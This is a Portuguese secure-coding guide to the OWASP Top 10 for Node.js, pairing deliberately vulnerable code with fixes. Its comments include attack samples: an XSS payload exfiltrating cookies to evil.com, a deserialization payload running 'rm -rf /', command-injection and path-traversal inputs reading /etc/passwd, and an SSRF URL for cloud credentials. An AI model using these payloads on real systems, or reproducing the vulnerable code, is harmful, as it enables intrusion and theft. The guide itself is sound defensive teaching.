Segurança (OWASP Top 10)
Segurança — OWASP Top 10 (2021)
O OWASP Top 10 é o padrão de referência da indústria para classificação dos riscos mais críticos em aplicações web. A edição de 2021 reorganizou categorias com base em dados de incidentes reais coletados de centenas de organizações. Cada categoria abaixo inclui vetores de ataque, código vulnerável e a correção correspondente.
A01 — Broken Access Control
Controle de acesso quebrado subiu da 5ª para a 1ª posição em 2021. Ocorre quando um usuário consegue agir fora das permissões pretendidas. Inclui IDOR (Insecure Direct Object Reference), privilege escalation, path traversal e CORS misconfiguration.
IDOR (Insecure Direct Object Reference)
// VULNERÁVEL: qualquer usuário autenticado acessa dados de outro
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
const orders = await db.query(
'SELECT * FROM orders WHERE user_id = ?',
[req.params.id] // Usa o ID da URL, não o do token
);
res.json(orders);
});
// SEGURO: valida que o recurso pertence ao usuário autenticado
app.get('/api/users/:id/orders', authenticate, async (req, res) => {
if (req.user.id !== parseInt(req.params.id) && req.user.role !== 'admin') {
return res.status(403).json({ error: 'FORBIDDEN' });
}
const orders = await db.query(
'SELECT * FROM orders WHERE user_id = ?',
[req.user.id] // Usa o ID extraído do token JWT verificado
);
res.json(orders);
});
Privilege Escalation
// VULNERÁVEL: role vem do body — atacante envia { role: "admin" }
app.post('/api/users', async (req, res) => {
const user = await User.create(req.body); // mass assignment
res.json(user);
});
// SEGURO: whitelist explícita de campos permitidos
app.post('/api/users', async (req, res) => {
const { name, email, password } = req.body;
const user = await User.create({
name,
email,
password: await bcrypt.hash(password, 12),
role: 'user', // Sempre hardcoded — nunca do input
});
res.json(user);
});
Path Traversal
// VULNERÁVEL: atacante envia filename=../../etc/passwd
app.get('/api/files/:filename', (req, res) => {
const filePath = path.join('/uploads', req.params.filename);
res.sendFile(filePath);
});
// SEGURO: resolve e valida que o path está dentro do diretório permitido
app.get('/api/files/:filename', (req, res) => {
const baseDir = path.resolve('/uploads');
const filePath = path.resolve(baseDir, req.params.filename);
if (!filePath.startsWith(baseDir + path.sep)) {
return res.status(400).json({ error: 'INVALID_PATH' });
}
res.sendFile(filePath);
});
CORS Misconfiguration
// VULNERÁVEL: reflete a origin do request — qualquer site pode chamar a API
app.use(cors({
origin: (origin, callback) => callback(null, true), // Aceita tudo
credentials: true,
}));
// SEGURO: allowlist explícita de origens confiáveis
const ALLOWED_ORIGINS = new Set([
'https://app.meudominio.com',
'https://admin.meudominio.com',
]);
app.use(cors({
origin: (origin, callback) => {
if (!origin || ALLOWED_ORIGINS.has(origin)) {
callback(null, true);
} else {
callback(new Error('Origem não permitida pelo CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
maxAge: 86400,
}));
A02 — Cryptographic Failures
Anteriormente chamada de “Sensitive Data Exposure”, esta categoria foca nas falhas relacionadas à criptografia que levam à exposição de dados sensíveis.
Algoritmos Fracos e Hardcoded Secrets
// VULNERÁVEL: MD5 para hashing de senhas (colisões triviais, sem salt)
const crypto = require('crypto');
const hash = crypto.createHash('md5').update(password).digest('hex');
// VULNERÁVEL: secret hardcoded no código-fonte
const JWT_SECRET = 'minha-senha-super-secreta-123';
// SEGURO: bcrypt com cost factor adequado + secrets de variáveis de ambiente
const bcrypt = require('bcrypt');
const SALT_ROUNDS = 12; // ~250ms por hash — bom tradeoff segurança/performance
const hash = await bcrypt.hash(password, SALT_ROUNDS);
const isValid = await bcrypt.compare(inputPassword, storedHash);
// Secret do ambiente (injetado via Vault, AWS Secrets Manager, etc.)
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
throw new Error('JWT_SECRET inválido ou ausente');
}
Insecure Randomness
// VULNERÁVEL: Math.random() é previsível (PRNG, não CSPRNG)
const resetToken = Math.random().toString(36).substring(2);
// SEGURO: crypto.randomBytes é criptograficamente seguro (CSPRNG)
const crypto = require('crypto');
const resetToken = crypto.randomBytes(32).toString('hex');
// Armazene o hash do token no banco, não o token em texto plano
const tokenHash = crypto
.createHash('sha256')
.update(resetToken)
.digest('hex');
TLS e Certificados
// VULNERÁVEL: desabilita verificação de certificado em produção
const axios = require('axios');
const https = require('https');
const agent = new https.Agent({ rejectUnauthorized: false });
await axios.get('https://api.exemplo.com', { httpsAgent: agent });
// SEGURO: sempre valide certificados; use CA bundle se necessário
const agent = new https.Agent({
rejectUnauthorized: true, // default — nunca desabilite
ca: fs.readFileSync('/path/to/ca-bundle.crt'), // CA customizada se preciso
minVersion: 'TLSv1.2', // Rejeita TLS 1.0 e 1.1
});
A03 — Injection
Injection cobre SQL, NoSQL, OS command e LDAP injection. O princípio fundamental: nunca confie em input externo. Sempre use mecanismos de parametrização nativos.
SQL Injection com Prepared Statements
// VULNERÁVEL: concatenação direta — clássico SQLi
const query = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
// Input: email = "admin'--" → bypassa a verificação de senha
// SEGURO: prepared statements (o driver escapa automaticamente)
// MySQL2
const [rows] = await pool.execute(
'SELECT * FROM users WHERE email = ? AND password_hash = ?',
[email, passwordHash]
);
// PostgreSQL (node-postgres)
const { rows } = await pool.query(
'SELECT * FROM users WHERE email = $1 AND password_hash = $2',
[email, passwordHash]
);
// ORM (Prisma) — query parametrizada por padrão
const user = await prisma.user.findUnique({
where: { email }, // Prisma escapa internamente
});
NoSQL Injection
// VULNERÁVEL: MongoDB aceita objetos — atacante envia { "$gt": "" }
app.post('/api/login', async (req, res) => {
const user = await User.findOne({
email: req.body.email,
password: req.body.password, // Se password = { "$ne": "" } → bypassa
});
});
// SEGURO: sanitize + validação de tipo explícita
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize()); // Remove $ e . de req.body/query/params
app.post('/api/login', async (req, res) => {
const { email, password } = req.body;
if (typeof email !== 'string' || typeof password !== 'string') {
return res.status(400).json({ error: 'INVALID_INPUT' });
}
const user = await User.findOne({ email });
if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
return res.status(401).json({ error: 'INVALID_CREDENTIALS' });
}
});
OS Command Injection
// VULNERÁVEL: exec() com input do usuário
const { exec } = require('child_process');
app.get('/api/ping', (req, res) => {
exec(`ping -c 4 ${req.query.host}`, (err, stdout) => {
res.send(stdout);
});
// Input: host = "8.8.8.8; cat /etc/passwd" → executa o segundo comando
});
// SEGURO: use execFile (não invoca shell) + validação de input
const { execFile } = require('child_process');
const net = require('net');
app.get('/api/ping', (req, res) => {
const { host } = req.query;
if (!net.isIP(host)) {
return res.status(400).json({ error: 'IP inválido' });
}
// execFile não passa por shell — argumentos são array
execFile('ping', ['-c', '4', host], (err, stdout) => {
res.send(stdout);
});
});
LDAP Injection
// VULNERÁVEL: concatenação direta na query LDAP
const filter = `(&(uid=${username})(userPassword=${password}))`;
// SEGURO: escape de caracteres especiais do LDAP
function ldapEscape(input) {
return input.replace(/[\\*()\\x00/]/g, (char) => {
return '\\' + char.charCodeAt(0).toString(16).padStart(2, '0');
});
}
const filter = `(&(uid=${ldapEscape(username)})(userPassword=${ldapEscape(password)}))`;
A04 — Insecure Design
Diferente de implementação insegura, design inseguro significa que a arquitetura em si não contempla controles de segurança. Nenhuma quantidade de código perfeito corrige um design fundamentalmente falho.
Threat Modeling
Antes de escrever código, identifique os ativos, ameaças e controles necessários. O modelo STRIDE categoriza ameaças:
| Categoria | Descrição | Controle |
|---|---|---|
| Spoofing | Falsificar identidade | Autenticação forte (MFA) |
| Tampering | Modificar dados em trânsito/repouso | Integridade (HMAC, checksums) |
| Repudiation | Negar ter realizado ação | Logs auditáveis e imutáveis |
| Information Disclosure | Exposição de dados sensíveis | Criptografia, controle de acesso |
| Denial of Service | Indisponibilizar o serviço | Rate limiting, auto-scaling |
| Elevation of Privilege | Escalar permissões | Princípio do menor privilégio |
Secure by Default e Princípio do Menor Privilégio
// Middleware que nega acesso por padrão — whitelist de rotas públicas
const PUBLIC_ROUTES = new Set(['/api/health', '/api/auth/login', '/api/auth/register']);
function requireAuth(req, res, next) {
if (PUBLIC_ROUTES.has(req.path)) return next();
const token = req.headers.authorization?.replace('Bearer ', '');
if (!token) return res.status(401).json({ error: 'UNAUTHENTICATED' });
try {
req.user = jwt.verify(token, process.env.JWT_SECRET);
next();
} catch {
res.status(401).json({ error: 'TOKEN_INVALID' });
}
}
// RBAC granular — cada rota declara a permissão necessária
function requirePermission(...permissions) {
return (req, res, next) => {
const userPerms = new Set(req.user.permissions);
const hasAll = permissions.every((p) => userPerms.has(p));
if (!hasAll) return res.status(403).json({ error: 'FORBIDDEN' });
next();
};
}
app.delete(
'/api/users/:id',
requireAuth,
requirePermission('users:delete'),
deleteUserHandler
);
A05 — Security Misconfiguration
Configuração incorreta é uma das vulnerabilidades mais comuns. Inclui credenciais padrão, stack traces expostas, features desnecessárias habilitadas e headers ausentes.
// VULNERÁVEL: stack trace em produção expõe detalhes internos
app.use((err, req, res, next) => {
res.status(500).json({
message: err.message,
stack: err.stack, // Revela paths, versões, lógica interna
});
});
// SEGURO: error handler diferenciado por ambiente
app.use((err, req, res, next) => {
const requestId = crypto.randomUUID();
// Log completo internamente (vai pro SIEM)
logger.error({
requestId,
message: err.message,
stack: err.stack,
method: req.method,
path: req.path,
userId: req.user?.id,
});
// Resposta sanitizada para o cliente
const isDev = process.env.NODE_ENV === 'development';
res.status(err.statusCode || 500).json({
error: err.isOperational ? err.message : 'INTERNAL_SERVER_ERROR',
requestId, // Para correlação com suporte
...(isDev && { stack: err.stack }), // Stack só em dev
});
});
// VULNERÁVEL: Helmet não configurado — headers de segurança ausentes
// Sem X-Content-Type-Options, sem X-Frame-Options, sem HSTS
// SEGURO: Helmet com configuração explícita
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
upgradeInsecureRequests: [],
},
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: 'same-origin' },
crossOriginResourcePolicy: { policy: 'same-origin' },
hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));
// Desabilite headers que expõem informação desnecessária
app.disable('x-powered-by'); // Remove "Express" do header
A06 — Vulnerable and Outdated Components
Componentes com vulnerabilidades conhecidas são um vetor de ataque extremamente comum. A Software Composition Analysis (SCA) automatiza a detecção.
# Auditoria local de dependências
npm audit
npm audit --audit-level=high # Falha apenas para severidade alta+
# Ferramentas de SCA em CI/CD
# package.json — script de CI
# "scripts": {
# "security:audit": "npm audit --audit-level=high",
# "security:snyk": "snyk test --severity-threshold=high"
# }
# GitHub Actions — Dependabot para atualizações automáticas
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
reviewers:
- "security-team"
labels:
- "dependencies"
- "security"
// Em runtime: valide versões críticas no startup
const semver = require('semver');
const nodeVersion = process.version;
if (!semver.satisfies(nodeVersion, '>=18.0.0')) {
console.error(`Node.js ${nodeVersion} não é suportado. Mínimo: 18.x`);
process.exit(1);
}
A07 — Identification and Authentication Failures
Inclui credential stuffing, brute force, session fixation e gerenciamento inadequado de sessões.
// Rate limiting avançado — por IP e por conta (dual layer)
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
const Redis = require('ioredis');
const redis = new Redis(process.env.REDIS_URL);
// Camada 1: limite global por IP
const ipLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
windowMs: 15 * 60 * 1000,
max: 100, // 100 requests por IP a cada 15 minutos
standardHeaders: true,
legacyHeaders: false,
keyGenerator: (req) => req.ip,
});
// Camada 2: limite por conta (impede credential stuffing distribuído)
const accountLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redis.call(...args) }),
windowMs: 60 * 60 * 1000, // 1 hora
max: 5, // 5 tentativas por conta por hora
keyGenerator: (req) => `account:${req.body.email}`,
handler: (req, res) => {
// Após 5 falhas: exija CAPTCHA ou bloqueie temporariamente
res.status(429).json({
error: 'ACCOUNT_LOCKED',
message: 'Muitas tentativas. Tente novamente em 1 hora ou redefina sua senha.',
retryAfter: 3600,
});
},
});
app.post('/login', ipLimiter, accountLimiter, loginHandler);
// Session fixation — regenere o session ID após login
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body.email, req.body.password);
if (!user) return res.status(401).json({ error: 'INVALID_CREDENTIALS' });
// CRÍTICO: regenera o session ID para prevenir session fixation
req.session.regenerate((err) => {
if (err) return res.status(500).json({ error: 'SESSION_ERROR' });
req.session.userId = user.id;
req.session.createdAt = Date.now();
req.session.save(() => {
res.json({ message: 'Login bem-sucedido' });
});
});
});
A08 — Software and Data Integrity Failures
Categoria que cobre ataques de deserialização, integridade de pipelines CI/CD e atualizações não assinadas.
// VULNERÁVEL: desserialização de dados não confiáveis
const serialize = require('node-serialize');
app.post('/api/session', (req, res) => {
const session = serialize.unserialize(req.cookies.session);
// Atacante pode injetar IIFE: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('rm -rf /')}()"}
});
// SEGURO: nunca desserialize input não confiável; use JSON + validação com schema
const Ajv = require('ajv');
const ajv = new Ajv({ allErrors: true });
const sessionSchema = {
type: 'object',
properties: {
userId: { type: 'integer', minimum: 1 },
role: { type: 'string', enum: ['user', 'admin'] },
expiresAt: { type: 'integer' },
},
required: ['userId', 'role', 'expiresAt'],
additionalProperties: false, // Rejeita campos inesperados
};
const validate = ajv.compile(sessionSchema);
app.post('/api/session', (req, res) => {
let data;
try {
data = JSON.parse(req.body.session); // JSON.parse é seguro (sem execução de código)
} catch {
return res.status(400).json({ error: 'INVALID_JSON' });
}
if (!validate(data)) {
return res.status(400).json({ error: 'VALIDATION_FAILED', details: validate.errors });
}
});
# Integridade de CI/CD — assine artefatos e verifique checksums
# GitHub Actions com Sigstore/cosign para container images
# jobs:
# build-and-sign:
# steps:
# - name: Build image
# run: docker build -t myapp:${{ github.sha }} .
# - name: Sign image with cosign
# run: cosign sign --yes myapp:${{ github.sha }}
# - name: Verify signature
# run: cosign verify myapp:${{ github.sha }}
A09 — Security Logging and Monitoring Failures
Sem logging adequado, ataques podem persistir por meses sem detecção. O tempo médio de detecção (MTTD) sem monitoração é de 197 dias (dados IBM).
// Logger estruturado para SIEM — o que logar e o que NUNCA logar
const pino = require('pino');
const logger = pino({
level: process.env.LOG_LEVEL || 'info',
redact: {
// NUNCA logue dados sensíveis (PII, secrets, tokens)
paths: [
'req.headers.authorization',
'req.headers.cookie',
'req.body.password',
'req.body.creditCard',
'req.body.ssn',
'*.token',
'*.secret',
],
censor: '[REDACTED]',
},
serializers: {
req: pino.stdSerializers.req,
err: pino.stdSerializers.err,
},
});
// Middleware de auditoria para eventos de segurança
function auditLog(event, details) {
logger.info({
type: 'SECURITY_AUDIT',
event,
timestamp: new Date().toISOString(),
...details,
});
}
// Exemplos de eventos que DEVEM ser logados:
// - Falhas de autenticação (com IP, user agent — sem a senha)
// - Mudanças de permissão ou role
// - Acesso a dados sensíveis
// - Alterações em configurações
// - Rate limit atingido
app.post('/login', async (req, res) => {
const user = await authenticateUser(req.body.email, req.body.password);
if (!user) {
auditLog('AUTH_FAILURE', {
email: req.body.email,
ip: req.ip,
userAgent: req.headers['user-agent'],
reason: 'INVALID_CREDENTIALS',
});
return res.status(401).json({ error: 'INVALID_CREDENTIALS' });
}
auditLog('AUTH_SUCCESS', {
userId: user.id,
ip: req.ip,
});
});
// Alerting: detecte padrões anômalos
// Exemplo: muitas falhas de login para o mesmo email em curto período
async function checkBruteForce(email, ip) {
const key = `login_failures:${email}`;
const failures = await redis.incr(key);
await redis.expire(key, 900); // 15 minutos
if (failures >= 10) {
auditLog('BRUTE_FORCE_DETECTED', { email, ip, failures });
// Notifique o time de segurança via webhook/PagerDuty
await notifySecurityTeam({
severity: 'HIGH',
message: `Possível brute force detectado: ${failures} falhas para ${email}`,
});
}
}
A10 — Server-Side Request Forgery (SSRF)
SSRF ocorre quando um atacante consegue fazer o servidor enviar requests para destinos arbitrários — incluindo serviços internos, metadata de cloud (169.254.169.254) e rede interna.
// VULNERÁVEL: o servidor faz fetch para URL fornecida pelo usuário
app.post('/api/fetch-url', async (req, res) => {
const response = await fetch(req.body.url); // SSRF!
// Atacante envia: url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
// → Obtém credenciais AWS do EC2 instance role
const data = await response.text();
res.json({ data });
});
// SEGURO: allowlist de domínios + bloqueio de IPs internos
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
const ALLOWED_DOMAINS = new Set(['api.exemplo.com', 'cdn.exemplo.com']);
async function validateUrl(urlString) {
let parsed;
try {
parsed = new URL(urlString);
} catch {
throw new Error('URL inválida');
}
// Apenas HTTPS
if (parsed.protocol !== 'https:') {
throw new Error('Apenas HTTPS é permitido');
}
// Allowlist de domínios
if (!ALLOWED_DOMAINS.has(parsed.hostname)) {
throw new Error('Domínio não permitido');
}
// Resolva DNS e verifique se o IP não é interno
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
const range = ip.range();
// Bloqueia: private, loopback, link-local, metadata endpoints
if (['private', 'loopback', 'linkLocal', 'uniqueLocal'].includes(range)) {
throw new Error('Endereço IP interno não permitido');
}
}
return parsed.toString();
}
app.post('/api/fetch-url', async (req, res) => {
try {
const safeUrl = await validateUrl(req.body.url);
const response = await fetch(safeUrl, {
redirect: 'error', // Não siga redirects (evita bypass via redirect para IP interno)
signal: AbortSignal.timeout(5000),
});
const data = await response.text();
res.json({ data: data.substring(0, 10000) }); // Limite de tamanho
} catch (err) {
res.status(400).json({ error: err.message });
}
});
XSS Detalhado — Stored, Reflected e DOM-based
Cross-Site Scripting permite que atacantes executem JavaScript no browser de outros usuários. É um dos vetores mais explorados da web.
Stored XSS
// VULNERÁVEL: comentário salvo no banco é renderizado sem escape
app.post('/api/comments', async (req, res) => {
await db.query('INSERT INTO comments (body) VALUES (?)', [req.body.body]);
});
// Se body = "<script>fetch('https://evil.com/steal?c='+document.cookie)</script>"
// Todo usuário que carrega a página executa o script
// SEGURO: sanitize no input + escape no output
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
app.post('/api/comments', async (req, res) => {
const sanitized = DOMPurify.sanitize(req.body.body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
});
await db.query('INSERT INTO comments (body) VALUES (?)', [sanitized]);
});
Reflected XSS
// VULNERÁVEL: query param refletida na resposta sem escape
app.get('/search', (req, res) => {
res.send(`<h1>Resultados para: ${req.query.q}</h1>`);
// URL: /search?q=<script>alert(1)</script>
});
// SEGURO: use um template engine que escapa por padrão (EJS, Handlebars)
// No EJS: <%= query %> escapa HTML automaticamente
// Nunca use <%- query %> (raw) com dados de input
CSP (Content Security Policy) como Defesa
// Content-Security-Policy é a defesa mais eficaz contra XSS
// Impede execução de scripts não autorizados mesmo se injetados
app.use((req, res, next) => {
// Gera nonce único por request para scripts inline permitidos
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`, // Apenas scripts com nonce válido
`style-src 'self' 'unsafe-inline'`, // Inline styles (avaliar necessidade)
`img-src 'self' data: https:`,
`connect-src 'self' https://api.meudominio.com`,
`font-src 'self'`,
`object-src 'none'`, // Bloqueia Flash, Java applets
`frame-ancestors 'none'`, // Previne clickjacking
`base-uri 'self'`, // Previne base tag injection
`form-action 'self'`, // Formulários só para mesma origem
`upgrade-insecure-requests`,
].join('; '));
next();
});
// No HTML: <script nonce="<%= cspNonce %>">...</script>
CSRF — Cross-Site Request Forgery
CSRF força o browser do usuário autenticado a enviar requests indesejados. O atacante não precisa ler a resposta — basta que a ação seja executada.
// Proteção CSRF com tokens + SameSite cookies
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
app.use(cookieParser());
// CSRF token via cookie (double-submit pattern)
const csrfProtection = csrf({
cookie: {
httpOnly: true,
secure: true, // Apenas HTTPS
sameSite: 'strict', // Nunca enviado em requests cross-origin
maxAge: 3600,
},
});
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ token: req.csrfToken() });
});
app.post('/api/transfer', csrfProtection, async (req, res) => {
// O middleware valida automaticamente o token CSRF
await processTransfer(req.body);
res.json({ success: true });
});
// Configuração de cookies de sessão com SameSite
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // JavaScript não acessa o cookie
secure: true, // Apenas via HTTPS
sameSite: 'lax', // Protege contra CSRF (GET de navegação permitido)
maxAge: 24 * 60 * 60 * 1000, // 24 horas
domain: '.meudominio.com',
path: '/',
},
resave: false,
saveUninitialized: false,
}));
Security Headers Completos
Headers HTTP de segurança formam uma camada essencial de defesa. Cada header mitiga uma classe específica de ataque.
// Configuração completa de security headers
function securityHeaders(req, res, next) {
// HSTS: força HTTPS por 2 anos + includeSubDomains + preload list
res.setHeader('Strict-Transport-Security', 'max-age=63072000; includeSubDomains; preload');
// Impede MIME-type sniffing (previne que browser interprete .txt como .html)
res.setHeader('X-Content-Type-Options', 'nosniff');
// Previne clickjacking (iframe embedding)
res.setHeader('X-Frame-Options', 'DENY');
// Controla quanta informação de referrer é enviada
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// Controla APIs do browser que o site pode usar
res.setHeader('Permissions-Policy',
'camera=(), microphone=(), geolocation=(), payment=(self)'
);
// Cross-Origin headers para isolamento de processo
res.setHeader('Cross-Origin-Opener-Policy', 'same-origin');
res.setHeader('Cross-Origin-Embedder-Policy', 'require-corp');
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
// Remove header que expõe tecnologia do servidor
res.removeHeader('X-Powered-By');
next();
}
app.use(securityHeaders);
Secure Coding Practices
Princípios transversais que se aplicam a toda a aplicação.
Input Validation com Zod
const { z } = require('zod');
// Schema rigoroso — rejeita tudo que não é explicitamente permitido
const createUserSchema = z.object({
name: z.string().min(2).max(100).trim(),
email: z.string().email().toLowerCase(),
password: z
.string()
.min(12, 'Senha deve ter no mínimo 12 caracteres')
.regex(/[A-Z]/, 'Deve conter letra maiúscula')
.regex(/[a-z]/, 'Deve conter letra minúscula')
.regex(/[0-9]/, 'Deve conter número')
.regex(/[^A-Za-z0-9]/, 'Deve conter caractere especial'),
age: z.number().int().min(18).max(150).optional(),
});
// Middleware de validação genérico
function validate(schema) {
return (req, res, next) => {
const result = schema.safeParse(req.body);
if (!result.success) {
return res.status(400).json({
error: 'VALIDATION_ERROR',
details: result.error.issues.map((i) => ({
field: i.path.join('.'),
message: i.message,
})),
});
}
req.validatedBody = result.data; // Usa dados validados, não req.body
next();
};
}
app.post('/api/users', validate(createUserSchema), createUserHandler);
Output Encoding
// Encode output de acordo com o contexto onde será inserido
const he = require('he'); // HTML entities
// Contexto HTML → HTML encode
const safeHtml = he.encode(userInput);
// Contexto URL → URL encode
const safeUrl = encodeURIComponent(userInput);
// Contexto JSON em <script> → serialize sem </script>
function jsonEscape(obj) {
return JSON.stringify(obj)
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026');
}
Secrets Management
// NUNCA commite secrets no código-fonte. Use um vault ou variáveis de ambiente.
// Validação de variáveis de ambiente no startup (fail fast)
const requiredEnvVars = [
'DATABASE_URL',
'JWT_SECRET',
'REDIS_URL',
'AWS_ACCESS_KEY_ID',
'AWS_SECRET_ACCESS_KEY',
];
for (const envVar of requiredEnvVars) {
if (!process.env[envVar]) {
console.error(`Variável de ambiente obrigatória ausente: ${envVar}`);
process.exit(1);
}
}
// Em produção, use Vault, AWS Secrets Manager ou similar
// Exemplo com AWS Secrets Manager
const { SecretsManager } = require('@aws-sdk/client-secrets-manager');
const client = new SecretsManager({ region: 'us-east-1' });
async function getSecret(secretName) {
const response = await client.getSecretValue({ SecretId: secretName });
return JSON.parse(response.SecretString);
}
// Rotação de secrets: configure rotação automática no Secrets Manager
// e recarregue periodicamente no runtime
let cachedSecrets = null;
let lastFetch = 0;
async function getSecrets() {
const now = Date.now();
if (!cachedSecrets || now - lastFetch > 300_000) { // Recarrega a cada 5 min
cachedSecrets = await getSecret('myapp/production');
lastFetch = now;
}
return cachedSecrets;
}
Checklist de Segurança para Revisão de Código
Referência rápida para code reviews focados em segurança:
| Área | Verificação |
|---|---|
| Input | Todo input externo é validado com schema (Zod, Joi, Ajv)? |
| Queries | Todas as queries usam parameterized statements? |
| Autenticação | Senhas hasheadas com bcrypt/argon2 e cost factor adequado? |
| Autorização | Cada endpoint verifica permissões? Deny-by-default? |
| Sessões | Session ID regenerado após login? Cookies com httpOnly/secure/sameSite? |
| Criptografia | TLS 1.2+ obrigatório? Algoritmos fortes (AES-256, SHA-256+)? |
| Secrets | Nenhum secret hardcoded? Todos via environment/vault? |
| Dependências | npm audit sem vulnerabilidades high/critical? Dependabot habilitado? |
| Headers | HSTS, CSP, X-Content-Type-Options, X-Frame-Options configurados? |
| Logging | Eventos de segurança logados? PII e secrets redactados? |
| Rate Limiting | Endpoints sensíveis (login, reset, signup) com rate limit? |
| Error Handling | Stack traces nunca expostas em produção? |
Criptografia Aplicada
Entender criptografia é essencial para um senior engineer — não para implementar algoritmos (use libraries!), mas para tomar decisões corretas sobre quais primitivas usar.
Criptografia Simétrica vs Assimétrica
Simétrica (mesma chave para encrypt e decrypt):
Alice ──[key]──encrypt──→ ciphertext ──[key]──decrypt──→ Bob
Rápida (~GB/s). Problema: como compartilhar a chave?
Assimétrica (par de chaves: pública + privada):
Bob gera: (public_key, private_key)
Alice ──[Bob's public_key]──encrypt──→ ciphertext ──[Bob's private_key]──decrypt──→ Bob
Lenta (~MB/s). Resolve o key exchange. Usada para TLS handshake e assinaturas digitais.
| Tipo | Algoritmos | Velocidade | Use case |
|---|---|---|---|
| Simétrica | AES-256-GCM, ChaCha20-Poly1305 | ~1-10 GB/s | Criptografia de dados em repouso e trânsito |
| Assimétrica | RSA-2048+, Ed25519, ECDSA (P-256) | ~1-100 MB/s | Key exchange, assinaturas digitais, TLS |
Hashing
Hash functions são one-way: dado o output, é inviável encontrar o input.
Uso correto de hashes:
Para senhas: bcrypt, argon2id, scrypt (LENTAS de propósito!)
Para integridade: SHA-256, SHA-3 (RÁPIDAS)
Para HMAC: HMAC-SHA256 (autenticação de mensagens)
NUNCA para senhas: MD5, SHA-1, SHA-256 sem salt (rainbow tables!)
import { hash, verify } from 'argon2';
// Hashing de senha com Argon2id (recomendado OWASP)
const hashedPassword = await hash(password, {
type: 2, // argon2id (resistente a side-channel + GPU attacks)
memoryCost: 65536, // 64MB RAM (torna GPU attacks caros)
timeCost: 3, // 3 iterações
parallelism: 4, // 4 threads
});
// Verificação
const isValid = await verify(hashedPassword, attemptedPassword);
Key Derivation Functions (KDF)
Derivam chaves criptográficas a partir de senhas ou material de baixa entropia:
- PBKDF2: padrão NIST, simples, mas vulnerável a GPU attacks
- bcrypt: resistente a GPU (usa RAM), padrão de facto para senhas
- argon2id: state-of-the-art, resistente a GPU e side-channel attacks (recomendado)
- HKDF: deriva múltiplas chaves a partir de uma master key (não para senhas)
TLS Handshake em Detalhe
TLS 1.3 Handshake (1-RTT):
Client Server
│ │
│─── ClientHello ──────────────────────→│
│ • supported cipher suites │
│ • supported groups (curves) │
│ • key_share (ECDHE public key) │
│ • supported_versions: TLS 1.3 │
│ │
│←── ServerHello ──────────────────────│
│ • selected cipher suite │
│ • key_share (server ECDHE key) │
│←── EncryptedExtensions ──────────────│
│←── Certificate ──────────────────────│
│←── CertificateVerify ────────────────│ (assinatura digital)
│←── Finished ─────────────────────────│ (MAC do handshake)
│ │
│─── Finished ──────────────────────→ │ (MAC do handshake)
│ │
│←════ Application Data (encrypted) ══→│
│ AES-256-GCM ou ChaCha20-Poly1305 │
Processo simplificado:
- Key Exchange: ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) gera shared secret
- Authentication: servidor prova identidade com certificado + assinatura digital
- Key Derivation: HKDF deriva chaves de sessão a partir do shared secret
- Symmetric Encryption: dados trafegam criptografados com AES-256-GCM
Forward Secrecy: como ECDHE gera chaves efêmeras por sessão, comprometer a private key do servidor NÃO permite descriptografar sessões passadas. Cada sessão tem suas próprias chaves.
Criptografia em Repouso
import { createCipheriv, createDecipheriv, randomBytes } from 'crypto';
// AES-256-GCM: criptografia autenticada (confidencialidade + integridade)
function encrypt(plaintext: string, key: Buffer): { ciphertext: string; iv: string; tag: string } {
const iv = randomBytes(12); // 96-bit IV para GCM
const cipher = createCipheriv('aes-256-gcm', key, iv);
let ciphertext = cipher.update(plaintext, 'utf8', 'base64');
ciphertext += cipher.final('base64');
const tag = cipher.getAuthTag().toString('base64');
return { ciphertext, iv: iv.toString('base64'), tag };
}
function decrypt(encrypted: { ciphertext: string; iv: string; tag: string }, key: Buffer): string {
const decipher = createDecipheriv(
'aes-256-gcm',
key,
Buffer.from(encrypted.iv, 'base64')
);
decipher.setAuthTag(Buffer.from(encrypted.tag, 'base64'));
let plaintext = decipher.update(encrypted.ciphertext, 'base64', 'utf8');
plaintext += decipher.final('utf8');
return plaintext;
}
// Chave de 256 bits (32 bytes) — NUNCA hardcode! Use KMS ou vault
const key = randomBytes(32);
const encrypted = encrypt('dados sensíveis do usuário', key);
const decrypted = decrypt(encrypted, key);
